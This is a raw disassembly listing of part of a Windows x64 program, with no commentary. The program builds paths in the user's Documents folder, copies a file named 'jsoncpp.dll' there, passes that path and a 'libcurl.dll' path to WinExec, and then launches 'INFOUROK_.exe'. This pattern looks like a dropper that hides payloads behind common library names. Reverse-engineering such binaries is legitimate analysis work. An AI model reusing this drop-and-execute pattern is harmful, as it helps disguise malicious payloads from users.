jbe 0x1400022fe
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400022f9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
movdqa xmm0, xmmword [0x140005490]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140002351
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000234c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000234c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
movdqa xmm0, xmmword [0x140005490]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x1400023a2
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000239d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000239d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rsi
lea rax, [rbp + 0xa0]
mov rbx, r15
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400023c0
cmp rbx, r14
ja 0x140002eae
mov qword [rbp + 0x28], 0xf
cmp rbx, 0xf
ja 0x140002401
mov qword [rbp + 0x20], rbx
mov r8, rbx
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x10]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x10], 0
jmp 0x140002497
mov rdi, rbx
or rdi, 0xf
cmp rdi, r14
jbe 0x14000243d
mov rdi, r14
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400035a0
test rax, rax
je 0x140002705
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140002473
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140002466
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002e7e
jmp 0x14000241e
test rcx, rcx
je 0x140002473
call fcn.1400035a0
mov rsi, rax
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x20], rbx
mov qword [rbp + 0x28], rdi
mov r8, rbx
lea rdx, [rbp + 0xa0]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
xor esi, esi
mov r8, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
sub rax, r8
cmp rax, 0x16
jb 0x140002531
lea rax, [r8 + 0x16]
mov qword [rbp + 0x20], rax
lea rbx, [rbp + 0x10]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0x10]
lea rax, [0x1400053e6]
cmp rax, rbx
jbe 0x1400024eb
lea rax, [rbx + r8]
cmp r12, rax
ja 0x1400024eb
cmp rbx, r12
ja 0x1400024e3
mov rdi, rsi
jmp 0x1400024f0
mov rdi, rbx
sub rdi, r12
jmp 0x1400024f0
mov edi, 0x16
lea rcx, [rbx + 0x16]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r12
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8d, 0x16
sub r8, rdi
lea rdx, [rdi + 0x16]
add rdx, r12
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x10]
mov edi, 0x16
jmp 0x14000254b
mov edi, 0x16
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r12
mov edx, edi
lea rcx, [rbp + 0x10]
call fcn.140003260
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov rax, r8
sub rax, rcx
cmp rax, 0x16
jb 0x1400025ca
lea rax, [rcx + 0x16]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp r8, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8, rdi
lea rdx, str.Documentslibcurl.dll
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x16], 0
lea rax, [rsp + 0x30]
jmp 0x1400025e3
mov qword [rsp + 0x20], rdi
lea r9, str.Documentslibcurl.dll
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.1400033e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000266d
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002668
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002668
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
movdqa xmm0, xmmword [0x140005490]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400026c0
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400026bb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
movdqa xmm0, xmmword [0x140005490]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x140002711
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000270c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000270c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x48], rsi
lea rax, [rbp + 0xa0]
mov rbx, r15
inc rbx
cmp byte [rax + rbx], 0
jne 0x140002735
cmp rbx, r14
ja 0x140002eb4
mov qword [rbp + 0x48], 0xf
cmp rbx, 0xf
ja 0x140002776
mov qword [rbp + 0x40], rbx
mov r8, rbx
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x30], 0
jmp 0x14000280c
mov rdi, rbx
or rdi, 0xf
cmp rdi, r14
jbe 0x1400027b2
mov rdi, r14
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400035a0
test rax, rax
je 0x140002a7e
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400027e8
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x1400027db
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002e84
jmp 0x140002793
test rcx, rcx
je 0x1400027e8
call fcn.1400035a0
mov rsi, rax
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x40], rbx
mov qword [rbp + 0x48], rdi
mov r8, rbx
lea rdx, [rbp + 0xa0]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
xor esi, esi
mov r8, qword [rbp + 0x40]
mov rcx, qword [rbp + 0x48]
mov rax, rcx
sub rax, r8
cmp rax, 9
jb 0x14000289d
lea rax, [r8 + 9]
mov qword [rbp + 0x40], rax
lea rbx, [rbp + 0x30]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0x30]
lea rax, [0x1400053b9]
cmp rax, rbx
jbe 0x14000285c
lea rax, [rbx + r8]
cmp r13, rax
ja 0x14000285c
cmp rbx, r13
ja 0x140002854
mov rdi, rsi
jmp 0x140002861
mov rdi, rbx
sub rdi, r13
jmp 0x140002861
mov edi, 9
lea rcx, [rbx + 9]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r13
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8d, 9
sub r8, rdi
lea rdx, [rdi + 9]
add rdx, r13
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x30]
jmp 0x1400028b7
mov eax, 9
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
mov edx, eax
lea rcx, [rbp + 0x30]
call fcn.140003260
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
mov r13d, 0x16
cmp rax, r13
jb 0x14000293b
lea rax, [rcx + 0x16]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, r13d
lea rdx, str.Documentsjsoncpp.dll
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x16], 0
lea rax, [rsp + 0x30]
jmp 0x140002954
mov qword [rsp + 0x20], r13
lea r9, str.Documentsjsoncpp.dll
mov rdx, r13
lea rcx, [rsp + 0x30]
call fcn.1400033e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
xor r8d, r8d
lea rcx, str.jsoncpp.dll
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400029e6
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400029e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
movdqa xmm0, xmmword [0x140005490]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140002a39
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a34
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
movdqa xmm0, xmmword [0x140005490]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140002a8a
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a85
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rsi
mov qword [rbp + 0x68], rsi
lea rax, [rbp + 0xa0]
inc r15
cmp byte [rax + r15], 0
jne 0x140002aa0
cmp r15, r14
ja 0x140002e5a
mov qword [rbp + 0x68], 0xf
cmp r15, 0xf
ja 0x140002ae3
mov qword [rbp + 0x60], r15
mov r8, r15
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + r15 + 0x50], 0
jmp 0x140002b7b
mov rax, r15
or rax, 0xf
cmp rax, r14
jbe 0x140002b18
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400035a0
test rax, rax
je 0x140002b3f
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140002b58
mov r14, rax
cmp rax, 0x16
cmovb r14, r13
lea rcx, [r14 + 1]
cmp rcx, 0x1000
jb 0x140002b46
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002e8a
jmp 0x140002afd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140002b55
call fcn.1400035a0
mov rbx, rax
jmp 0x140002b58
mov rbx, rsi
mov qword [rbp + 0x50], rbx
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x68], r14
mov r8, r15
lea rdx, [rbp + 0xa0]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r15], 0
mov r8, qword [rbp + 0x60]
mov rcx, qword [rbp + 0x68]
mov rax, rcx
sub rax, r8
cmp rax, 0x16
jb 0x140002c07
lea rax, [r8 + 0x16]
mov qword [rbp + 0x60], rax
lea rbx, [rbp + 0x50]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0x50]
lea rax, [0x1400053e6]
cmp rax, rbx
jbe 0x140002bcb
lea rax, [rbx + r8]
cmp r12, rax
ja 0x140002bcb
cmp rbx, r12
ja 0x140002bc3
mov rdi, rsi
jmp 0x140002bce
mov rdi, rbx
sub rdi, r12
jmp 0x140002bce
mov rdi, r13
lea rcx, [rbx + 0x16]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r12
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8, r13
sub r8, rdi
lea rdx, [rdi + 0x16]
add rdx, r12
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x50]
jmp 0x140002c1d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r12
mov rdx, r13
lea rcx, [rbp + 0x50]
call fcn.140003260
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x48]
mov rax, r9
sub rax, rcx
cmp rax, 0x16
jb 0x140002c9c
lea rax, [rcx + 0x16]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp r9, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8, r13
lea rdx, str.Documentsjsoncpp.dll
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x16], 0
lea rax, [rsp + 0x30]
jmp 0x140002cb5
mov qword [rsp + 0x20], r13
lea r9, str.Documentsjsoncpp.dll
mov rdx, r13
lea rcx, [rsp + 0x30]
call fcn.1400033e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140002d3f
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d3a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d3a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
movdqa xmm0, xmmword [0x140005490]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140002d92
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d8d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d8d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
movdqa xmm0, xmmword [0x140005490]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
lea rcx, [rbp + 0x50]
call fcn.140002ed0
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x70]
call fcn.140002f30
nop
mov r8, rax
lea rdx, str._C:Users_
lea rcx, [rsp + 0x30]
call fcn.140003050
nop
lea r8, str.DocumentsINFOUROK_.exe_
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140003180
mov rcx, rax
call fcn.140002ec0
mov rcx, rax
mov edx, 5
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rsp + 0x50]
call fcn.140002ed0
nop
lea rcx, [rsp + 0x30]
call fcn.140002ed0
nop
lea rcx, [rbp + 0x70]
call fcn.140002ed0
xor eax, eax
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.140003580
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011a0
int3
call fcn.140001100
int3
call fcn.140001100
int3
call fcn.140001100
int3
call fcn.140001100
int3
call fcn.140001100
int3
call fcn.140001100
int3
call fcn.140001100
int3
call fcn.140001100
int3
call fcn.1400011a0
int3
call fcn.1400011a0
int3
call fcn.1400011a0
int3
call fcn.1400011a0
int3
call fcn.1400011a0
int3
call fcn.1400011a0
int3
call fcn.1400011a0
int3